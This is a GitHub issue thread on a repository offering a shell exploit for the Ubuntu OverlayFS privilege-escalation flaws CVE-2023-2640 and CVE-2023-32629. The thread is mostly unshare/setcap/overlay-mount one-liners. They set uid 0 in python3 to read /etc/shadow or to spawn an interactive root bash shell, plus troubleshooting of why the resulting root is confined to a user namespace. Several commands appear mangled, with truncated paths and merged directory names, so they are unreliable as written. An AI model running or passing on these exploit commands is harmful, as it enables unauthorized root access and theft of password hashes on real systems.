search

luanoliveira350 / GameOverlayFS

GameoverlayFS (CVE-2023-2640 and CVE-2023-32629) exploit in Shell Script tested on Ubuntu 20.04 Kernel 5.4.0
12 stars 5 forks source link

No root? #1

Open scotch123 opened 9 months ago

scotch123 commented 9 months ago

Why it shows root but it hasn't full access?

Tried this exploit but I'm not fully root..

advance@developer:/tmp$ unshare -rm sh -c "mkdir l u w m && cp /u/b/p3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/; u/python3 -c 'import os;os.setuid(0);os.system("id;cat /etc/shadow")'";rm -rf l u w m uid=0(root) gid=0(root) groups=0(root),65534(nogroup) cat: /etc/shadow: Permission denied

Also I've tried on another 5.15 Ubuntu, it got root everywhere but actually it's not root... permission denied for cat /etc/shadow. What's wrong ?

luanoliveira350 commented 8 months ago

Try:

unshare -rm sh -c "mkdir luwm && cp /u/b/p3 l/; setcap cap_setuid+ep /python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=wm && touch m/;" && u/python3 -c 'import os; import pty; os.setuid(0); pty.spawn("/bin/bash")'

You will get a interactive Shell as root user, test the permissions again

MANAVGK2038 commented 3 months ago

Hey @scotch123 . Facing the same issue. Apparently I get a root shell and it says I'm root. The users and the group names of all the files are getting changed to nobody and nogroup respectively. That is why none of the files that were owned by root prior to the priv esc doesn't cat out post becoming root after the exploitation.